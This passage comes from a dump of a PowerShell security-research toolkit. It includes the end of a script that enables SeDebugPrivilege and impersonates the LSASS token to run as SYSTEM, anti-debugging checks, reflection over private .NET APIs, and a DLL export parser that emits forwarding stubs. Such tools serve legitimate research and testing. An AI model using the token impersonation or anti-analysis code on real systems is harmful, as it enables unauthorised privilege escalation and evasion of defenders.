Calling Advapi32::AdjustTokenPrivileges`n" 139 | $CallResult = [Advapi32]::AdjustTokenPrivileges($hTokenHandle, $False, [ref]$TokPriv1Luid, 0, [IntPtr]::Zero, [IntPtr]::Zero) 140 | if (!$CallResult) { 141 | $LastError = [Kernel32]::GetLastError() 142 | echo "[!] Mmm, something went wrong! GetLastError returned: $LastError`n" 143 | Return 144 | } 145 | } 146 | 147 | echo "[?] SeDebugPrivilege is enabled!`n" 148 | 149 | # Open token handle with TOKEN_IMPERSONATE bor TOKEN_DUPLICATE 150 | echo "[>] Calling Advapi32::OpenProcessToken --> LSASS" 151 | $ProcHandle = (Get-Process -Name lsass).Handle 152 | $hTokenHandle = [IntPtr]::Zero 153 | $CallResult = [Advapi32]::OpenProcessToken($ProcHandle, 0x6, [ref]$hTokenHandle) 154 | echo "[+] Token handle with TOKEN_IMPERSONATE|TOKEN_DUPLICATE: $hTokenHandle`n" 155 | 156 | # Duplicate LSASS token 157 | echo "[>] Calling Advapi32::DuplicateToken --> LSASS" 158 | $hDuplicateTokenHandle = [IntPtr]::Zero 159 | $CallResult = [Advapi32]::DuplicateToken($hTokenHandle, 2, [ref]$hDuplicateTokenHandle) 160 | echo "[+] Duplicate token handle with SecurityImpersonation level: $hDuplicateTokenHandle`n" 161 | 162 | # Assign impersonation token to calling thread 163 | echo "[>] Calling Advapi32::SetThreadToken" 164 | $CallResult = [Advapi32]::SetThreadToken([IntPtr]::Zero, $hDuplicateTokenHandle) 165 | if (!$CallResult) { 166 | $LastError = [Kernel32]::GetLastError() 167 | echo "[!] Mmm, something went wrong! GetLastError returned: $LastError`n" 168 | Return 169 | } 170 | echo "[+] Knock knock .. who's there .. LSASS" 171 | echo "[+] User context: $([Environment]::UserName)`n" 172 | } 173 | } -------------------------------------------------------------------------------- /Detect-Debug.ps1: -------------------------------------------------------------------------------- 1 | function Detect-Debug { 2 | <# 3 | .SYNOPSIS 4 | 5 | Use several techniques to detect the presence of a debugger. I realise 6 | this does not make much sense from PowerShell (you may as well detect a 7 | text editor..) but there you go :)! 8 | 9 | Notes: 10 | 11 | * Using Kernel32::OutputDebugString does not appear to work in PowerShell. 12 | In theory calling OutputDebugString, without a debugger attached, should 13 | generate an error code. This lets you check if LastError has been 14 | overwritten. Test case below: 15 | 16 | [Kernel32]::SetLastError(0xb33f) # Set fake LastError 17 | [Kernel32]::OutputDebugString("Hello Debugger!") 18 | if ([Kernel32]::GetLastError() -eq 0xb33f) { 19 | echo "[?] OutputDebugString: Detected" 20 | } else { 21 | echo "[?] OutputDebugString: False" 22 | } 23 | 24 | * For bonus points call NtSetInformationThread::ThreadHideFromDebugger, 25 | this will detach a thread from the debugger essentially making it 26 | invisible! Test case below: 27 | 28 | $ThreadHandle = [Kernel32]::GetCurrentThread() 29 | $CallResult = [Ntdll]::NtSetInformationThread($ThreadHandle, 17, [ref][IntPtr]::Zero, 0) 30 | 31 | * I may update with some extra techniques (eg: Trap Flag) if I can find a 32 | convenient way to run inline assembly (C style __asm). As it stands, it 33 | is possible but cumbersome (= laziness prevails!). 34 | 35 | References: 36 | 37 | * Anti Reverse Engineering Protection Techniques: 38 | https://www.apriorit.com/dev-blog/367-anti-reverse-engineering-protection-techniques-to-use-before-releasing-software 39 | * Windows Anti-Debug Reference: 40 | http://www.symantec.com/connect/articles/windows-anti-debug-reference 41 | 42 | .DESCRIPTION 43 | 44 | Author: Ruben Boonen (@FuzzySec) 45 | Blog: http://www.fuzzysecurity.com/ 46 | License: BSD 3-Clause 47 | Required Dependencies: PowerShell v2+ 48 | Optional Dependencies: None 49 | 50 | .EXAMPLE 51 | 52 | C:\PS> Detect-Debug 53 | #> 54 | Add-Type -TypeDefinition @" 55 | using System; 56 | using System.Diagnostics; 57 | using System.Runtime.InteropServices; 58 | using System.Security.Principal; 59 | 60 | [StructLayout(LayoutKind.Sequential)] 61 | public struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION 62 | { 63 | public Byte DebuggerEnabled; 64 | public Byte DebuggerNotPresent; 65 | } 66 | 67 | [StructLayout(LayoutKind.Sequential)] 68 | public struct _PROCESS_BASIC_INFORMATION 69 | { 70 | public IntPtr ExitStatus; 71 | public IntPtr PebBaseAddress; 72 | public IntPtr AffinityMask; 73 | public IntPtr BasePriority; 74 | public UIntPtr UniqueProcessId; 75 | public IntPtr InheritedFromUniqueProcessId; 76 | } 77 | 78 | [StructLayout(LayoutKind.Explicit, Size = 192)] 79 | public struct PEB_BeingDebugged_NtGlobalFlag 80 | { 81 | [FieldOffset(2)] 82 | public Byte BeingDebugged; 83 | [FieldOffset(104)] 84 | public UInt32 NtGlobalFlag32; 85 | [FieldOffset(188)] 86 | public UInt32 NtGlobalFlag64; 87 | } 88 | 89 | public static class Kernel32 90 | { 91 | [DllImport("kernel32.dll")] 92 | public static extern bool IsDebuggerPresent(); 93 | 94 | [DllImport("kernel32.dll")] 95 | public static extern bool CheckRemoteDebuggerPresent( 96 | IntPtr hProcess, 97 | out bool pbDebuggerPresent); 98 | 99 | [DllImport("kernel32.dll", SetLastError = true)] 100 | public static extern void OutputDebugString(string lpOutputString); 101 | 102 | [DllImport("kernel32.dll", SetLastError = true)] 103 | public static extern bool CloseHandle(IntPtr hObject); 104 | 105 | [DllImport("kernel32.dll", SetLastError=true)] 106 | public static extern IntPtr GetCurrentThread(); 107 | 108 | [DllImport("kernel32.dll")] 109 | public static extern void SetLastError(int dwErrorCode); 110 | 111 | [DllImport("kernel32.dll")] 112 | public static extern uint GetLastError(); 113 | } 114 | 115 | public static class Ntdll 116 | { 117 | [DllImport("ntdll.dll")] 118 | public static extern int NtQuerySystemInformation( 119 | int SystemInformationClass, 120 | ref _SYSTEM_KERNEL_DEBUGGER_INFORMATION SystemInformation, 121 | int SystemInformationLength, 122 | ref int ReturnLength); 123 | 124 | [DllImport("ntdll.dll")] 125 | public static extern int NtQueryInformationProcess( 126 | IntPtr processHandle, 127 | int processInformationClass, 128 | ref _PROCESS_BASIC_INFORMATION processInformation, 129 | int processInformationLength, 130 | ref int returnLength); 131 | 132 | [DllImport("ntdll.dll")] 133 | public static extern int NtSetInformationThread( 134 | IntPtr ThreadHandle, 135 | int ThreadInformationClass, 136 | ref IntPtr ThreadInformation, 137 | int ThreadInformationLength); 138 | } 139 | "@ 140 | 141 | echo "`n[+] Detect Kernel-Mode Debugging" 142 | 143 | # (1) _SYSTEM_KERNEL_DEBUGGER_INFORMATION, kernel debugger detection 144 | #----------- 145 | $SYSTEM_KERNEL_DEBUGGER_INFORMATION = New-Object _SYSTEM_KERNEL_DEBUGGER_INFORMATION 146 | $SYSTEM_KERNEL_DEBUGGER_INFORMATION_Size = [System.Runtime.InteropServices.Marshal]::SizeOf($SYSTEM_KERNEL_DEBUGGER_INFORMATION) 147 | $SystemInformationLength = New-Object Int 148 | $CallResult = [Ntdll]::NtQuerySystemInformation(35, [ref]$SYSTEM_KERNEL_DEBUGGER_INFORMATION, $SYSTEM_KERNEL_DEBUGGER_INFORMATION_Size, [ref]$SystemInformationLength) 149 | if ($SYSTEM_KERNEL_DEBUGGER_INFORMATION.DebuggerEnabled -And !$SYSTEM_KERNEL_DEBUGGER_INFORMATION.DebuggerNotPresent) { 150 | echo " [?] SystemKernelDebuggerInformation: Detected" 151 | } else { 152 | echo " [?] SystemKernelDebuggerInformation: False" 153 | } 154 | 155 | echo "`n[+] Detect User-Mode Debugging" 156 | # (2) CloseHandle exception check, generates exception in debugger 157 | #----------- 158 | $hObject = 0x1 # Invalid handle 159 | $Exception = "False" 160 | try { 161 | $CallResult = [Kernel32]::CloseHandle($hObject) 162 | } catch { 163 | $Exception = "Detected" 164 | } echo " [?] CloseHandle Exception: $Exception" 165 | 166 | # (3) IsDebuggerPresent 167 | #----------- 168 | if ([Kernel32]::IsDebuggerPresent()) { 169 | echo " [?] IsDebuggerPresent: Detected" 170 | } else { 171 | echo " [?] IsDebuggerPresent: False" 172 | } 173 | 174 | # (4) CheckRemoteDebuggerPresent --> calls NtQueryInformationProcess::ProcessDebugPort under the hood 175 | #----------- 176 | $ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle 177 | $DebuggerPresent = [IntPtr]::Zero 178 | $CallResult = [Kernel32]::CheckRemoteDebuggerPresent($ProcHandle, [ref]$DebuggerPresent) 179 | if ($DebuggerPresent) { 180 | echo " [?] CheckRemoteDebuggerPresent: Detected" 181 | } else { 182 | echo " [?] CheckRemoteDebuggerPresent: False" 183 | } 184 | 185 | # (5-6) PEB BeingDebugged & NtGlobalFlag checks 186 | #----------- 187 | $PROCESS_BASIC_INFORMATION = New-Object _PROCESS_BASIC_INFORMATION 188 | $PROCESS_BASIC_INFORMATION_Size = [System.Runtime.InteropServices.Marshal]::SizeOf($PROCESS_BASIC_INFORMATION) 189 | $returnLength = New-Object Int 190 | $CallResult = [Ntdll]::NtQueryInformationProcess($ProcHandle, 0, [ref]$PROCESS_BASIC_INFORMATION, $PROCESS_BASIC_INFORMATION_Size, [ref]$returnLength) 191 | 192 | # Lazy PEB parsing 193 | $PEB_BeingDebugged_NtGlobalFlag = New-Object PEB_BeingDebugged_NtGlobalFlag 194 | $PEB_BeingDebugged_NtGlobalFlag_Size = [System.Runtime.InteropServices.Marshal]::SizeOf($PEB_BeingDebugged_NtGlobalFlag) 195 | $PEB_BeingDebugged_NtGlobalFlag = $PEB_BeingDebugged_NtGlobalFlag.GetType() 196 | 197 | $BufferOffset = $PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt64() 198 | $NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset 199 | $PEBFlags = [system.runtime.interopservices.marshal]::PtrToStructure($NewIntPtr, [type]$PEB_BeingDebugged_NtGlobalFlag) 200 | 201 | if ($PEBFlags.BeingDebugged -eq 1) { 202 | echo " [?] PEB!BeingDebugged: Detected" 203 | } else { 204 | echo " [?] PEB!BeingDebugged: False" 205 | } 206 | 207 | # Our struct records what would be NtGlobalFlag for x32/x64 208 | if ($PEBFlags.NtGlobalFlag32 -eq 0x70 -Or $PEBFlags.NtGlobalFlag64 -eq 0x70) { 209 | echo " [?] PEB!NtGlobalFlag: Detected" 210 | } else { 211 | echo " [?] PEB!NtGlobalFlag: False" 212 | } 213 | 214 | # (7) Debug parent from child 215 | #----------- 216 | $ScriptBlock = { 217 | Add-Type -TypeDefinition @" 218 | using System; 219 | using System.Diagnostics; 220 | using System.Runtime.InteropServices; 221 | using System.Security.Principal; 222 | 223 | public static class Kernel32 224 | { 225 | [DllImport("kernel32.dll")] 226 | public static extern bool DebugActiveProcess(int dwProcessId); 227 | 228 | [DllImport("kernel32")] 229 | public static extern bool DebugActiveProcessStop(int ProcessId); 230 | } 231 | "@ 232 | $OwnPID = [System.Diagnostics.Process]::GetCurrentProcess().Id 233 | $ParentPID = (Get-WmiObject -Query "SELECT ParentProcessId FROM Win32_Process WHERE ProcessId = $OwnPID").ParentProcessId 234 | if (![Kernel32]::DebugActiveProcess($ParentPID)) { 235 | echo " [?] DebugSelf: Detected`n" 236 | } else { 237 | echo " [?] DebugSelf: False`n" 238 | $CallResult = [Kernel32]::DebugActiveProcessStop($ParentPID) 239 | } 240 | } 241 | 242 | # Start-Job launches $ScriptBlock as child process 243 | Start-Job -Name Self_Debug -ScriptBlock $ScriptBlock| Out-Null 244 | Wait-Job -Name Self_Debug| Out-Null 245 | Receive-Job -Name Self_Debug 246 | Remove-Job -Name Self_Debug 247 | } -------------------------------------------------------------------------------- /Expose-NetAPI.ps1: -------------------------------------------------------------------------------- 1 | function Expose-NetAPI { 2 | <# 3 | .SYNOPSIS 4 | 5 | Expose-NetAPI uses reflection to import .NET API classes into PowerShell. 6 | This includes internal private classes, such as 7 | Microsoft.Win32.UnsafeNativeMethods. 8 | 9 | The "Search" parameter provides a way to search loaded assemblies for 10 | partial matches on API names. Specifying the "Namespace" parameter 11 | restricts the search to the designated namespace. If the namespace does not 12 | exist in the current session this parameter will permanently load it. 13 | 14 | .DESCRIPTION 15 | 16 | Author: Ruben Boonen (@FuzzySec) 17 | License: BSD 3-Clause 18 | Required Dependencies: None 19 | Optional Dependencies: None 20 | 21 | .PARAMETER Enable 22 | 23 | Switch to indicate the enable parameter set name. 24 | 25 | .PARAMETER Search 26 | 27 | Case insensitive string search for API names. 28 | 29 | .PARAMETER Load 30 | 31 | Load specified assembly in the PowerShell session. 32 | 33 | .PARAMETER Namespace 34 | 35 | .Net namespace, e.g. "System.Drawing". 36 | 37 | .PARAMETER Assembly 38 | 39 | Dll corresponding to the specified TypeName. 40 | 41 | .PARAMETER TypeName 42 | 43 | TypeName to be loaded from the specified Assembly. 44 | 45 | .EXAMPLE 46 | 47 | # Search all loaded assemblies for "MessageBox". 48 | # The result is an object that can be piped. 49 | C:\PS> Expose-NetAPI -Search MessageBox |fl 50 | 51 | Assembly : System.dll 52 | TypeName : Microsoft.Win32.SafeNativeMethods 53 | Name : MessageBox 54 | Definition : static int MessageBox(System.IntPtr hWnd, string text, string caption, int type) 55 | 56 | .EXAMPLE 57 | 58 | # Not all namespaces are available by default in 59 | # PowerShell, MSDN/Google is your friend! 60 | C:\PS> Expose-NetAPI -Search bitmap 61 | 62 | [!] Search returned no results, try specifying the namespace! 63 | 64 | C:\PS> Expose-NetAPI -Search bitmap -Namespace System.Drawing 65 | 66 | Assembly TypeName Name Definition 67 | -------- -------- ---- ---------- 68 | System.Drawing.dll System.Windows.Forms.DpiHelper CreateResizedBitmap static System.Drawing.Bitmap Crea... 69 | System.Drawing.dll System.Windows.Forms.DpiHelper ScaleBitmapLogicalToDevice static void ScaleBitmapLogicalToD... 70 | System.Drawing.dll System.Drawing.Bitmap FromHbitmap static System.Drawing.Bitmap From... 71 | System.Drawing.dll System.Drawing.BitmapSelector CreateBitmap static System.Drawing.Bitmap Crea... 72 | System.Drawing.dll System.Drawing.Image FromHbitmap static System.Drawing.Bitmap From... 73 | System.Drawing.dll System.Drawing.SafeNativeMethods CreateBitmap static System.IntPtr CreateBitmap... 74 | System.Drawing.dll System.Drawing.SafeNativeMethods CreateCompatibleBitmap static System.IntPtr CreateCompat... 75 | System.Drawing.dll System.Drawing.SafeNativeMethods IntCreateBitmap static System.IntPtr IntCreateBit... 76 | System.Drawing.dll System.Drawing.SafeNativeMethods IntCreateCompatibleBitmap static System.IntPtr IntCreateCom... 77 | System.Drawing.dll System.Drawing.Imaging.Metafile FromHbitmap static System.Drawing.Bitmap From... 78 | 79 | .EXAMPLE 80 | 81 | # Often multiple options available with differing 82 | # definitions. Take care when selecting the desired 83 | # API. 84 | C:\PS> Expose-NetAPI -Search drawbutton |Select Assembly,TypeName,Name |ft 85 | 86 | Assembly TypeName Name 87 | -------- -------- ---- 88 | System.Windows.Forms.dll System.Windows.Forms.ButtonRenderer DrawButton 89 | System.Windows.Forms.dll System.Windows.Forms.ControlPaint DrawButton 90 | System.Windows.Forms.dll System.Windows.Forms.DataGridViewButtonCell+Da... DrawButton 91 | 92 | .EXAMPLE 93 | 94 | # Take care when directly calling enable, a number 95 | # of assemblies are not loaded by default! 96 | C:\PS> Expose-NetAPI -Enable -Assembly System.Windows.Forms.dll -TypeName System.Windows.Forms.SafeNativeMethods 97 | 98 | [!] Unable to locate specified assembly! 99 | 100 | C:\PS> Expose-NetAPI -Load System.Windows.Forms 101 | True 102 | 103 | C:\PS> Expose-NetAPI -Enable -Assembly System.Windows.Forms.dll -TypeName System.Windows.Forms.SafeNativeMethods 104 | 105 | [+] Created $SystemWindowsFormsSafeNativeMethods! 106 | 107 | .EXAMPLE 108 | 109 | # Once enabled the TypeName is exposed as a global 110 | # variable and can be used to call any API's it includes! 111 | C:\PS> Expose-NetAPI -Enable -Assembly System.dll -TypeName Microsoft.Win32.UnsafeNativeMethods |Out-Null 112 | C:\PS> Expose-NetAPI -Enable -Assembly System.dll -TypeName Microsoft.Win32.SafeNativeMethods |Out-Null 113 | C:\PS> $ModHandle = $MicrosoftWin32UnsafeNativeMethods::GetModuleHandle("kernel32.dll") 114 | C:\PS> $Kernel32Ref = New-Object System.Runtime.InteropServices.HandleRef([IntPtr]::Zero,$ModHandle) 115 | C:\PS> $Beep = $MicrosoftWin32UnsafeNativeMethods::GetProcAddress($Kernel32Ref, "Beep") 116 | C:\PS> $MicrosoftWin32SafeNativeMethods::MessageBox([IntPtr]::Zero,$("{0:X}" -f [int64]$Beep),"Beep",0) 117 | 118 | #> 119 | 120 | param( 121 | [Parameter(ParameterSetName='Search', Mandatory = $True)] 122 | [string]$Search, 123 | [Parameter(ParameterSetName='Search', Mandatory = $False)] 124 | [string]$Namespace, 125 | [Parameter(ParameterSetName='Load', Mandatory = $True)] 126 | [string]$Load, 127 | [Parameter(ParameterSetName='Enable', Mandatory = $True)] 128 | [switch]$Enable, 129 | [Parameter(ParameterSetName='Enable', Mandatory = $True)] 130 | [string]$Assembly, 131 | [Parameter(ParameterSetName='Enable', Mandatory = $True)] 132 | [string]$TypeName 133 | ) 134 | 135 | # Search functionality! 136 | if ($Search) { 137 | if ($Namespace) { 138 | # Load/search specified assembly 139 | # This will permanently load the assembly in the session! 140 | $Assemblies = [System.Reflection.Assembly]::LoadWithPartialName($Namespace) 141 | if (!$Assemblies) { 142 | echo "`n[!] Specified namespace can't be loaded!`n" 143 | Break 144 | } 145 | } else { 146 | # Traverse every, currently, loaded assembly 147 | $Assemblies = [AppDomain]::CurrentDomain.GetAssemblies() 148 | } 149 | # Recurs $Assemblies for methods 150 | # Yes this loop is creepy! 151 | $ObjectArray = @() 152 | $Assemblies | ForEach-Object { 153 | $Assembly = $(($_.Location -Split "\\")[-1]); $_.GetTypes()| ForEach-Object { 154 | $_ | Get-Member -Static| Where-Object { 155 | ($_.MemberType.ToString() -eq "Method") -And ($_.Name -like "*$Search*") 156 | } | ForEach-Object { 157 | $HashTable = @{ 158 | Assembly = $Assembly 159 | TypeName = $_.TypeName 160 | Name = $_.Name 161 | Definition = $_.Definition 162 | } 163 | $Object = New-Object PSObject -Property $HashTable 164 | $ObjectArray += $Object 165 | } 166 | } 2>$null 167 | } 168 | if (!$ObjectArray) { 169 | echo "`n[!] Search returned no results, try specifying the namespace!`n" 170 | Break 171 | } else { 172 | $ObjectArray| Select Assembly,TypeName,Name,Definition 173 | } 174 | } 175 | 176 | # Load specified assembly. This is necessary when directly calling 177 | # Enable on non-default namespaces! 178 | if($Load) { 179 | $CallResult = [System.Reflection.Assembly]::LoadWithPartialName($Load) 180 | if (!$CallResult) { 181 | $false 182 | } else { 183 | $true 184 | } 185 | } 186 | 187 | # Import functionality! 188 | if($Enable) { 189 | $GACRef = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals($Assembly) } 190 | if (!$GACRef) { 191 | echo "`n[!] Unable to locate specified assembly!`n" 192 | Break 193 | } 194 | if (!$GACRef.GetType($TypeName)) { 195 | echo "`n[!] Unable to locate specified TypeName!`n" 196 | } else { 197 | New-Variable -Name $($TypeName -replace "\.","") -Scope Global -Value $GACRef.GetType($TypeName) 198 | echo "`n[+] Created `$$($TypeName -replace '\.','')!`n" 199 | } 200 | } 201 | } -------------------------------------------------------------------------------- /Get-CRC32.ps1: -------------------------------------------------------------------------------- 1 | function Get-CRC32 { 2 | <# 3 | .SYNOPSIS 4 | Simple wrapper for undocumented RtlComputeCrc32 function. 5 | 6 | .DESCRIPTION 7 | Author: Ruben Boonen (@FuzzySec) 8 | License: BSD 3-Clause 9 | Required Dependencies: None 10 | Optional Dependencies: None 11 | 12 | .PARAMETER InitialCRC 13 | Optional initial CRC value to start with. Supply 0 initially. 14 | 15 | .PARAMETER Buffer 16 | Byte array to compute the CRC32 of. 17 | 18 | .EXAMPLE 19 | # Example from string 20 | C:\PS> $String = [System.Text.Encoding]::ASCII.GetBytes("Testing!") 21 | C:\PS> Get-CRC32 -Buffer $String 22 | C:\PS> 2392247274 23 | #> 24 | 25 | param( 26 | [Parameter(Mandatory = $False)] 27 | [Int]$InitialCRC = 0, 28 | [Parameter(Mandatory = $True)] 29 | [Byte[]]$Buffer 30 | ) 31 | 32 | Add-Type -TypeDefinition @" 33 | using System; 34 | using System.Diagnostics; 35 | using System.Runtime.InteropServices; 36 | using System.Security.Principal; 37 | 38 | public static class CRC32 39 | { 40 | [DllImport("ntdll.dll")] 41 | public static extern UInt32 RtlComputeCrc32( 42 | UInt32 InitialCrc, 43 | Byte[] Buffer, 44 | Int32 Length); 45 | } 46 | "@ 47 | 48 | 49 | [CRC32]::RtlComputeCrc32($InitialCRC, $Buffer, $Buffer.Length) 50 | } -------------------------------------------------------------------------------- /Get-Exports.ps1: -------------------------------------------------------------------------------- 1 | function Get-Exports { 2 | <# 3 | .SYNOPSIS 4 | Get-Exports, fetches DLL exports and optionally provides 5 | C++ wrapper output (idential to ExportsToC++ but without 6 | needing VS and a compiled binary). To do this it reads DLL 7 | bytes into memory and then parses them (no LoadLibraryEx). 8 | Because of this you can parse x32/x64 DLL's regardless of 9 | the bitness of PowerShell. 10 | 11 | .DESCRIPTION 12 | Author: Ruben Boonen (@FuzzySec) 13 | License: BSD 3-Clause 14 | Required Dependencies: None 15 | Optional Dependencies: None 16 | 17 | .PARAMETER DllPath 18 | 19 | Absolute path to DLL. 20 | 21 | .PARAMETER CustomDll 22 | 23 | Absolute path to output file. 24 | 25 | .EXAMPLE 26 | C:\PS> Get-Exports -DllPath C:\Some\Path\here.dll 27 | 28 | .EXAMPLE 29 | C:\PS> Get-Exports -DllPath C:\Some\Path\here.dll -ExportsToCpp C:\Some\Out\File.txt 30 | #> 31 | param ( 32 | [Parameter(Mandatory = $True)] 33 | [string]$DllPath, 34 | [Parameter(Mandatory = $False)] 35 | [string]$ExportsToCpp 36 | ) 37 | 38 | Add-Type -TypeDefinition @" 39 | using System; 40 | using System.Diagnostics; 41 | using System.Runtime.InteropServices; 42 | using System.Security.Principal; 43 | 44 | [StructLayout(LayoutKind.Sequential)] 45 | public struct IMAGE_EXPORT_DIRECTORY 46 | { 47 | public UInt32 Characteristics; 48 | public UInt32 TimeDateStamp; 49 | public UInt16 MajorVersion; 50 | public UInt16 MinorVersion; 51 | public UInt32 Name; 52 | public UInt32 Base; 53 | public UInt32 NumberOfFunctions; 54 | public UInt32 NumberOfNames; 55 | public UInt32 AddressOfFunctions; 56 | public UInt32 AddressOfNames; 57 | public UInt32 AddressOfNameOrdinals; 58 | } 59 | 60 | [StructLayout(LayoutKind.Sequential)] 61 | public struct IMAGE_SECTION_HEADER 62 | { 63 | public String Name; 64 | public UInt32 VirtualSize; 65 | public UInt32 VirtualAddress; 66 | public UInt32 SizeOfRawData; 67 | public UInt32 PtrToRawData; 68 | public UInt32 PtrToRelocations; 69 | public UInt32 PtrToLineNumbers; 70 | public UInt16 NumOfRelocations; 71 | public UInt16 NumOfLines; 72 | public UInt32 Characteristics; 73 | } 74 | 75 | public static class Kernel32 76 | { 77 | [DllImport("kernel32.dll")] 78 | public static extern IntPtr LoadLibraryEx( 79 | String lpFileName, 80 | IntPtr hReservedNull, 81 | UInt32 dwFlags); 82 | } 83 | "@ 84 | 85 | # Load the DLL into memory so we can refference it like LoadLibrary 86 | $FileBytes = [System.IO.File]::ReadAllBytes($DllPath) 87 | [IntPtr]$HModule = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($FileBytes.Length) 88 | [System.Runtime.InteropServices.Marshal]::Copy($FileBytes, 0, $HModule, $FileBytes.Length) 89 | 90 | # Some Offsets.. 91 | $PE_Header = [Runtime.InteropServices.Marshal]::ReadInt32($HModule.ToInt64() + 0x3C) 92 | $Section_Count = [Runtime.InteropServices.Marshal]::ReadInt16($HModule.ToInt64() + $PE_Header + 0x6) 93 | $Optional_Header_Size = [Runtime.InteropServices.Marshal]::ReadInt16($HModule.ToInt64() + $PE_Header + 0x14) 94 | $Optional_Header = $HModule.ToInt64() + $PE_Header + 0x18 95 | 96 | # We need some values from the Section table to calculate RVA's 97 | $Section_Table = $Optional_Header + $Optional_Header_Size 98 | $SectionArray = @() 99 | for ($i; $i -lt $Section_Count; $i++) { 100 | $HashTable = @{ 101 | VirtualSize = [Runtime.InteropServices.Marshal]::ReadInt32($Section_Table + 0x8) 102 | VirtualAddress = [Runtime.InteropServices.Marshal]::ReadInt32($Section_Table + 0xC) 103 | PtrToRawData = [Runtime.InteropServices.Marshal]::ReadInt32($Section_Table + 0x14) 104 | } 105 | $Object = New-Object PSObject -Property $HashTable 106 | $SectionArray += $Object 107 | 108 | # Increment $Section_Table offset by Section size 109 | $Section_Table = $Section_Table + 0x28 110 | } 111 | 112 | # Helper function for dealing with on-disk PE offsets. 113 | # Adapted from @mattifestation: 114 | # https://github.com/mattifestation/PowerShellArsenal/blob/master/Parsers/Get-PE.ps1#L218 115 | function Convert-RVAToFileOffset($Rva, $SectionHeaders) { 116 | foreach ($Section in $SectionHeaders) { 117 | if (($Rva -ge $Section.VirtualAddress) -and 118 | ($Rva-lt ($Section.VirtualAddress + $Section.VirtualSize))) { 119 | return [IntPtr] ($Rva - ($Section.VirtualAddress - $Section.PtrToRawData)) 120 | } 121 | } 122 | # Pointer did not fall in the address ranges of the section headers 123 | echo "Mmm, pointer did not fall in the PE range.." 124 | } 125 | 126 | # Read Magic UShort to determin x32/x64 127 | if ([Runtime.InteropServices.Marshal]::ReadInt16($Optional_Header) -eq 0x010B) { 128 | echo "`n[?] 32-bit Image!" 129 | # IMAGE_DATA_DIRECTORY[0] -> Export 130 | $Export = $Optional_Header + 0x60 131 | } else { 132 | echo "`n[?] 64-bit Image!" 133 | # IMAGE_DATA_DIRECTORY[0] -> Export 134 | $Export = $Optional_Header + 0x70 135 | } 136 | 137 | # Convert IMAGE_EXPORT_DIRECTORY[0].VirtualAddress to file offset! 138 | $ExportRVA = Convert-RVAToFileOffset $([Runtime.InteropServices.Marshal]::ReadInt32($Export)) $SectionArray 139 | 140 | # Cast offset as IMAGE_EXPORT_DIRECTORY 141 | $OffsetPtr = New-Object System.Intptr -ArgumentList $($HModule.ToInt64() + $ExportRVA) 142 | $IMAGE_EXPORT_DIRECTORY = New-Object IMAGE_EXPORT_DIRECTORY 143 | $IMAGE_EXPORT_DIRECTORY = $IMAGE_EXPORT_DIRECTORY.GetType() 144 | $EXPORT_DIRECTORY_FLAGS = [system.runtime.interopservices.marshal]::PtrToStructure($OffsetPtr, [type]$IMAGE_EXPORT_DIRECTORY) 145 | 146 | # Print the in-memory offsets! 147 | echo "`n[>] Time Stamp: $([timezone]::CurrentTimeZone.ToLocalTime(([datetime]'1/1/1970').AddSeconds($EXPORT_DIRECTORY_FLAGS.TimeDateStamp)))" 148 | echo "[>] Function Count: $($EXPORT_DIRECTORY_FLAGS.NumberOfFunctions)" 149 | echo "[>] Named Functions: $($EXPORT_DIRECTORY_FLAGS.NumberOfNames)" 150 | echo "[>] Ordinal Base: $($EXPORT_DIRECTORY_FLAGS.Base)" 151 | echo "[>] Function Array RVA: 0x$('{0:X}' -f $EXPORT_DIRECTORY_FLAGS.AddressOfFunctions)" 152 | echo "[>] Name Array RVA: 0x$('{0:X}' -f $EXPORT_DIRECTORY_FLAGS.AddressOfNames)" 153 | echo "[>] Ordinal Array RVA: 0x$('{0:X}' -f $EXPORT_DIRECTORY_FLAGS.AddressOfNameOrdinals)" 154 | 155 | # Get equivalent file offsets! 156 | $ExportFunctionsRVA = Convert-RVAToFileOffset $EXPORT_DIRECTORY_FLAGS.AddressOfFunctions $SectionArray 157 | $ExportNamesRVA = Convert-RVAToFileOffset $EXPORT_DIRECTORY_FLAGS.AddressOfNames $SectionArray 158 | $ExportOrdinalsRVA = Convert-RVAToFileOffset $EXPORT_DIRECTORY_FLAGS.AddressOfNameOrdinals $SectionArray 159 | 160 | # Loop exports 161 | $ExportArray = @() 162 | for ($i=0; $i -lt $EXPORT_DIRECTORY_FLAGS.NumberOfNames; $i++){ 163 | # Calculate function name RVA 164 | $FunctionNameRVA = Convert-RVAToFileOffset $([Runtime.InteropServices.Marshal]::ReadInt32($HModule.ToInt64() + $ExportNamesRVA + ($i*4))) $SectionArray 165 | $HashTable = @{ 166 | FunctionName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($HModule.ToInt64() + $FunctionNameRVA) 167 | ImageRVA = echo "0x$("{0:X8}" -f $([Runtime.InteropServices.Marshal]::ReadInt32($HModule.ToInt64() + $ExportFunctionsRVA + ($i*4))))" 168 | Ordinal = [Runtime.InteropServices.Marshal]::ReadInt16($HModule.ToInt64() + $ExportOrdinalsRVA + ($i*2)) + $EXPORT_DIRECTORY_FLAGS.Base 169 | } 170 | $Object = New-Object PSObject -Property $HashTable 171 | $ExportArray += $Object 172 | } 173 | 174 | # Print export object 175 | $ExportArray |Sort-Object Ordinal 176 | 177 | # Optionally write ExportToC++ wrapper output 178 | if ($ExportsToCpp) { 179 | foreach ($Entry in $ExportArray) { 180 | Add-Content $ExportsToCpp "#pragma comment (linker, '/export:$($Entry.FunctionName)=[FORWARD_DLL_HERE].$($Entry.FunctionName),@$($Entry.Ordinal)')" 181 | } 182 | } 183 | 184 | # Free buffer 185 | [Runtime.InteropServices.Marshal]::FreeHGlobal($HModule) 186 | } 187 | -------------------------------------------------------------------------------- /Get-LimitChildItem.ps1: -------------------------------------------------------------------------------- 1 | function Get-LimitChildItem { 2 | <# 3 | .SYNOPSIS 4 | Depth limited wrapper for Get-ChildItem with basic filter functionality. 5 | 6 | .DESCRIPTION 7 | Author: Ruben Boonen (@FuzzySec) 8 | License: BSD 3-Clause 9 | Required Dependencies: None 10 | Optional Dependencies: None 11 | 12 | .PARAMETER Path 13 | Top level path (local or UNC). 14 | 15 | .PARAMETER MaxDepth 16 | Folder depth. 17 | 18 | 